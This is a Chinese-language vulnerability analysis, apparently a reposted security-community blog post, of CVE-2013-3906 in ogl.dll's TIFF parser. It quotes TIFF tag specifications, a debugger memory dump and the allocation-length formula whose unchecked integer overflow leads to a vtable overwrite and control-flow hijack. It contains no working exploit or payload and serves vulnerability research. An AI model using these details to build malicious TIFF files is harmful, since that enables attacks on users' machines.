tiff 是一種圖像格式,它裡面可以包含不同類型的圖片格式,如下所示:

CVE-2013-3906漏洞分析

詳細的結構如下:

CVE-2013-3906漏洞分析

tiff的tag分很多種,由一個具體的數字來標誌當前tag的含義,這個漏洞中涉及到的tag及其對應的解釋如下:

Compression(壓縮標誌字段)

Tag = 259 (103.H)

Type = SHORT

N = 1

This Field indicates the type of compression used. The new value is:

6 = JPEG-------------------------------------------------------------------------------------JPEGInterchangeFormat(JPEG壓縮數據頭部)

Tag = 513 (201.H)

Type = LONG

N = 1

This Field indicates whether a JPEG interchange format bitstream is present in the

TIFF file. If a JPEG interchange format bitstream is present, then this Field points

to the Start of Image (SOI) marker code.

If this Field is zero or not present, a JPEG interchange format bitstream is not

present.-------------------------------------------------------------------------------------JPEGInterchangeFormatLength(JPEG壓縮數據長度)

Tag = 514 (202.H)

Type = LONG

N = 1

This Field indicates the length in bytes of the JPEG interchange format bitstream.

This Field is useful for extracting the JPEG interchange format bitstream without

parsing the bitstream.

This Field is relevant only if the JPEGInterchangeFormat Field is present and is

non-zero.-------------------------------------------------------------------------------------StripOffsets(壓縮條目偏移數組)

Tag = 273 (111.H)

Type = SHORT or LONG

For each strip, the byte offset of that strip.-------------------------------------------------------------------------------------StripByteCounts(壓縮條目大小數組)

Tag = 279 (117.H)

Type = SHORT or LONG

For each strip, the number of bytes in that strip after any compression.

010 editor 自帶一個tiff的解析模板:TIFTemplate.bt,用它可以清晰地看到tiff文件的佈局:

CVE-2013-3906漏洞分析

在 cve_2013_3906_func 中,傳入了一個大小為0x16c(第1參數)的對象,同時還傳入了從JPEGInterchangeFormat Tag 中讀入的數據(第2參數)和從 JPEGInterchangeFormatLength Tag 中讀入的數據大小(第3參數)

0:000> dps 2b29ee90 l16c/4

2b29ee90 2cd5efe0

2b29ee94 00000000

2b29ee98 2b2a0565

2b29ee9c 2b2a0565

2b29eea0 00000000

2b29eea4 00004a9a

2b29eea8 677915f8 OGL!GdipCreateEffect+0x44b0

2b29eeac 67791626 OGL!GdipCreateEffect+0x44de

2b29eeb0 67791654 OGL!GdipCreateEffect+0x450c

...

2b29ef30 2a884ef0 // +0xa0 StripByteCounts.value[0]...

2b29ef7c 00000044 // +0xec StripByteCounts.count...

2b29eff0 00000000 // +0x160 AllocLen2b29eff4 00000000 // +0x164 AllocAddr2b29eff8 00000000

緊接著從對象的+0xec處獲取StripByteCounts.count

CVE-2013-3906漏洞分析

再從對象的+0xa0處獲取StripByteCounts.value[0]

CVE-2013-3906漏洞分析

然後在一個while循環對所有 0x44個value[x] 進行累加得到一個累計值

CVE-2013-3906漏洞分析

最後AllocLen = 累計值 + StripByteCounts.count*2 + JPEGInterchangeFormatLength + 8

整個計算過程的代碼如下:

CVE-2013-3906漏洞分析

整個公式可描述如下:

CVE-2013-3906漏洞分析

ogl.dll沒有對這個公式計算得到的長度做基本的數據校驗,導致整數溢出。後面在解析特定對象(維一零在文章中說這個對象叫做GraphicsPath,但我調試時沒有拿到符號,只能根據校驗的Tag斷定這是一個類似的結構。

此外,我看到《masTIFF - An in depth analysis of CVE-2013-3906.pptx》這篇文章的dps命令顯示日誌中有符號,暫不清楚作者是如何得到的)時,原本會調用該對象的一個虛函數進行Tag校驗,但此時虛表的地址已被覆蓋,從而劫持控制流到任意地方。這個漏洞的所有要點在 維一零的文章裡已經寫得很清晰了,本文只是對我自己有疑惑的一些地方進行了調試補充。

參考鏈接

《CVE-2013-3906(ms13-096)漏洞分析與利用》

《An Analyze Of CVE-2013-3906》

《masTIFF - An in depth analysis of CVE-2013-3906.pptx》

《tiff6.pdf》

《TIFF "Tag Image File Format"》

《關於CVE-2013-3906的八卦》

更多幹貨,請關注看雪學院 公眾號ikanxue!


分享到:


相關文章: